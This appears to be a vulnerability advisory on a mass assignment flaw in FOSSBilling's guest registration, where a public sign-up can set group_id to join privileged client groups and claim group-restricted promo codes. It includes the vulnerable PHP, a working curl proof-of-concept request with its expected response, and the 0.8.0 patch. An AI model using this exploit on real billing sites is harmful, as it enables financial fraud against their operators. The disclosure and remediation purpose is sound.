Mass Assignment of group_id in Guest Registration Allows Unauthorized Promo Code Use
Overview
group_id field in the public registration request to assign themselves to any client group — including staff, reseller, or VIP groups. If promo codes are restricted to those groups, the attacker immediately qualifies for discounts never intended for them. Zero authentication, zero configuration required beyond having groups and group-restricted promos enabled.
Mass assignment vulnerabilities occur when an application accepts more input fields than it intends to, allowing attackers to set internal model attributes that should only be settable by trusted code. This specific instance is a textbook example: the group_id field is an internal field meant to be set only by administrators, yet it flows unchecked through the public registration endpoint.
While the direct impact is financial rather than a full server compromise, this class of vulnerability is significant in billing platforms because promo codes can represent real monetary value. A "100% off" promo code or a reseller discount intended for partners can be freely exploited by any visitor who knows to send one extra field.
Background: Client Groups in FOSSBilling
FOSSBilling allows administrators to define client groups — logical segments used to organize clients and apply different policies to each group. Common use cases include:
- Reseller groups — clients who receive wholesale pricing
- Staff groups — employees who receive free or heavily discounted services
- VIP groups — high-value customers with access to exclusive promos
- Trial groups — users in a limited free-trial program
Promo codes in FOSSBilling can be restricted to specific client groups via the client_groups field. When a client applies a promo code at checkout, the cart service checks whether their client_group_id matches one of the allowed groups. This is the access control mechanism that this vulnerability bypasses.
Root Cause Analysis
The Registration Handler
The public guest registration handler guestCreateClient() in src/modules/Client/Service.php is responsible for processing new client sign-ups. It should only accept fields appropriate for a new, unverified client. However, it only overrides two fields before forwarding the entire raw request data to the private createClient() method:
public function guestCreateClient(array $data): \Model_Client
{
$data['status'] = \Model_Client::ACTIVE;
$data['ip'] = $this->di['request']->getClientIp();
// Everything else in $data passes through to createClient()
// No allowlist. No field filtering. group_id is never stripped.
return $this->createClient($data);
}
The Private createClient() Method
Inside createClient(), the group_id key is read directly from the data array without any authorization check. The intent was that this field would only ever be populated by internal admin operations, but since guestCreateClient() passes through the raw request, an attacker-supplied group_id reaches this assignment:
// Attacker-supplied group_id flows directly to this assignment
$client->client_group_id = !empty($data['group_id']) ? $data['group_id'] : null;
// The field is not documented in the guest API spec (Client/Api/Guest.php)
// but there is no allowlist to prevent it from being processed.
The Promo Eligibility Check
Once the client is registered with an attacker-controlled client_group_id, the promo validation logic in Cart/Service.php will pass for any group-restricted promo that includes the group the attacker assigned themselves to:
if (!empty($promo->client_groups)) {
// This check passes because $client->client_group_id was
// set by the attacker at registration time
return in_array($client->client_group_id, $promo->client_groups);
}
return true; // promos with no group restriction are always available
createClient() was designed with the assumption it would only be called from admin-authenticated paths. When guestCreateClient() was written to expose registration to unauthenticated users, no one stripped the fields that should only be settable by admins. This is a trust boundary violation — the same method is used for both admin-level and public registration, with no differentiation in what data is permitted.
Attack Chain
Proof of Concept
The following curl command registers a new client in group 2 without any authentication:
#!/bin/bash
# CVE-2026-43925 — FOSSBilling Mass Assignment PoC
# Registers a client in group_id=2 (e.g. reseller/staff group) with no auth
TARGET="http://target.local"
curl -s -X POST "$TARGET/api/guest/client/create" \
-H "Content-Type: application/json" \
-d '{
"email": "attacker@evil.com",
"password": "Password123!",
"first_name": "Attacker",
"last_name": "Test",
"group_id": 2
}' | python3 -m json.tool
Expected response (vulnerable instance):
{
"result": {
"id": 42,
"email": "attacker@evil.com",
"client_group_id": 2, // attacker is now in the reseller group
"status": "active",
...
},
"error": null
}
The attacker is now authenticated as a client in group 2 and can immediately apply any promo code configured for that group at checkout.
Impact Assessment
Financial Impact
The impact scales with the discount value of group-restricted promo codes on the instance. In the worst case — a promo code granting 100% discount tied to a staff or internal group — any visitor can register for free services indefinitely. For reseller groups offering 40-60% discounts, an attacker can purchase services at wholesale prices from a retail instance.
Ease of Exploitation
This vulnerability requires no authentication, no special tools, and no prior knowledge beyond knowing a valid group ID. Group IDs are sequential integers starting at 1 — brute-forcing takes seconds. Any attacker who reads the FOSSBilling API documentation and notices that group_id is accepted by createClient() can exploit this with a single curl command.
Scope of Affected Deployments
Instances that do not use client groups, or that do not restrict promo codes to specific groups, are not impacted by the financial aspect. However, the mass assignment issue itself is present in all affected versions and could have additional implications if other internal fields accepted by createClient() have security relevance beyond promo codes.
The Fix
The patch in FOSSBilling 0.8.0 adds an explicit unset($data['group_id']) call in guestCreateClient() before the data is forwarded to createClient(). This ensures the field is stripped at the trust boundary:
public function guestCreateClient(array $data): \Model_Client
{
$data['status'] = \Model_Client::ACTIVE;
$data['ip'] = $this->di['request']->getClientIp();
// Patched: strip admin-only fields before forwarding to createClient()
unset($data['group_id']);
return $this->createClient($data);
}
unset() approach is correct and addresses the root cause at the trust boundary. A more robust long-term approach would be an allowlist of permitted guest registration fields in guestCreateClient(), which would prevent similar issues in future fields. The targeted fix is sufficient and complete for this vulnerability.
Key Takeaways
- Trust boundaries must strip privileged fields. When public-facing methods delegate to internal methods, the handoff point should explicitly filter out fields that require elevated privilege to set. Never assume callers will only pass what they're supposed to.
- Allowlists over blocklists. Rather than unsetting specific dangerous fields (a blocklist), the stronger pattern is to allowlist only the fields a guest is permitted to supply and discard everything else.
- API documentation gaps are a red flag. The
group_idfield was not documented in the guest API — but was accepted. Undocumented accepted fields often indicate mass assignment issues. Any discrepancy between documented inputs and actually-processed inputs is worth investigating during a code review. - Billing platforms are high-value targets. Vulnerabilities in billing software have direct financial impact. Code on the path between user input and money changing hands deserves extra scrutiny.